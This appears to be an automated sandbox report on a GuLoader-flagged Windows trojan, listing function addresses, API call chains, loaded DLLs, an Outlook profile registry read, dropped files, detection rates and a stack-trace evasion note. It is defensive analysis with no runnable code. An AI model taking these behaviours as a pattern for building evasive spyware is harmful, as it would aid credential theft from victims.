Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF9D70	3_2_39CF9D70
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0508	3_2_39CF0508
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0504	3_2_39CF0504
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFAD10	3_2_39CFAD10
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFC930	3_2_39CFC930
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFD8D0	3_2_39CFD8D0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1CEB	3_2_39CF1CEB
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF90F0	3_2_39CF90F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFF4F0	3_2_39CFF4F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFA090	3_2_39CFA090
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFBCB0	3_2_39CFBCB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0040	3_2_39CF0040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFCC50	3_2_39CFCC50
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFE870	3_2_39CFE870
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFF810	3_2_39CFF810
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF9410	3_2_39CF9410
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1828	3_2_39CF1828
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1824	3_2_39CF1824
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0037	3_2_39CF0037
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFB030	3_2_39CFB030
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFBFD0	3_2_39CFBFD0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFDBF0	3_2_39CFDBF0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF8790	3_2_39CF8790
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFEB90	3_2_39CFEB90
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFA3B0	3_2_39CFA3B0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1351	3_2_39CF1351
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFB350	3_2_39CFB350
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF3360	3_2_39CF3360
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1360	3_2_39CF1360
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFCF70	3_2_39CFCF70
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFDF10	3_2_39CFDF10
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF9730	3_2_39CF9730
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFA6D0	3_2_39CFA6D0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFC2F0	3_2_39CFC2F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0E98	3_2_39CF0E98
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0E94	3_2_39CF0E94
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFD290	3_2_39CFD290
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFEEB0	3_2_39CFEEB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF8AB0	3_2_39CF8AB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF9A50	3_2_39CF9A50
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFB670	3_2_39CFB670
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFC610	3_2_39CFC610
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFE230	3_2_39CFE230
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39DF0BF4	3_2_39DF0BF4
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39DF3A38	3_2_39DF3A38
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39DFA530	3_2_39DFA530
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E71B50	3_2_39E71B50
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E73FB2	3_2_39E73FB2
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E73008	3_2_39E73008
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E71470	3_2_39E71470
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E736F0	3_2_39E736F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E72920	3_2_39E72920
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E70D88	3_2_39E70D88
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E72238	3_2_39E72238
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E71B3F	3_2_39E71B3F
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E71460	3_2_39E71460
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E736E1	3_2_39E736E1
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E709E1	3_2_39E709E1
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E72911	3_2_39E72911
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E70A10	3_2_39E70A10
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E70D79	3_2_39E70D79
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E72FFF	3_2_39E72FFF
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E70040	3_2_39E70040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E70011	3_2_39E70011
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39E72229	3_2_39E72229

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: String function: 00402DCB appears 49 times

Source: ZoRLXzC5qF.exe

Static PE information: invalid certificate

Source: ZoRLXzC5qF.exe, 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs ZoRLXzC5qF.exe
Source: ZoRLXzC5qF.exe, 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs ZoRLXzC5qF.exe
Source: ZoRLXzC5qF.exe, 00000003.00000002.2716679245.0000000036847000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ZoRLXzC5qF.exe
Source: ZoRLXzC5qF.exe	Binary or memory string: OriginalFilenameclanfellow tangleberry.exe4 vs ZoRLXzC5qF.exe

Source: ZoRLXzC5qF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@5/5

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_00403552

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_004049E7 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004049E7

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_004021CF LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_004021CF

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

File created: C:\Users\user\AppData\Local\skattekode

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

File created: C:\Users\user\AppData\Local\Temp\nslD6B1.tmp

Jump to behavior

Source: ZoRLXzC5qF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZoRLXzC5qF.exe	ReversingLabs: Detection: 47%
Source: ZoRLXzC5qF.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

File read: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZoRLXzC5qF.exe "C:\Users\user\Desktop\ZoRLXzC5qF.exe"
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process created: C:\Users\user\Desktop\ZoRLXzC5qF.exe "C:\Users\user\Desktop\ZoRLXzC5qF.exe"
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process created: C:\Users\user\Desktop\ZoRLXzC5qF.exe "C:\Users\user\Desktop\ZoRLXzC5qF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ZoRLXzC5qF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1845384841.0000000008108000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_6E9B1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E9B1BFF

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_6E9B30C0 push eax; ret	0_2_6E9B30EE
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00159C30 push esp; retf 0017h	3_2_00159D55
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CCF5D7 push es; retf	3_2_39CCF5DA
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CFC5FF pushfd ; retf	3_2_39CFC602
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF60F7 push ebx; retf	3_2_39CF60FA
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF60F3 push ebx; retf	3_2_39CF60F6
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF60F1 push esp; retf	3_2_39CF60F2
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF1817 push ds; retf	3_2_39CF181A
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF5BE5 push eax; retf	3_2_39CF5BE6
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF637C push ebp; retf	3_2_39CF6382
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF6379 push esi; retf	3_2_39CF637A
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF0E90 push ss; retf	3_2_39CF0E92
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF5E68 push ecx; retf	3_2_39CF5E6E
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39CF6604 push edi; retf	3_2_39CF660A

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

File created: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

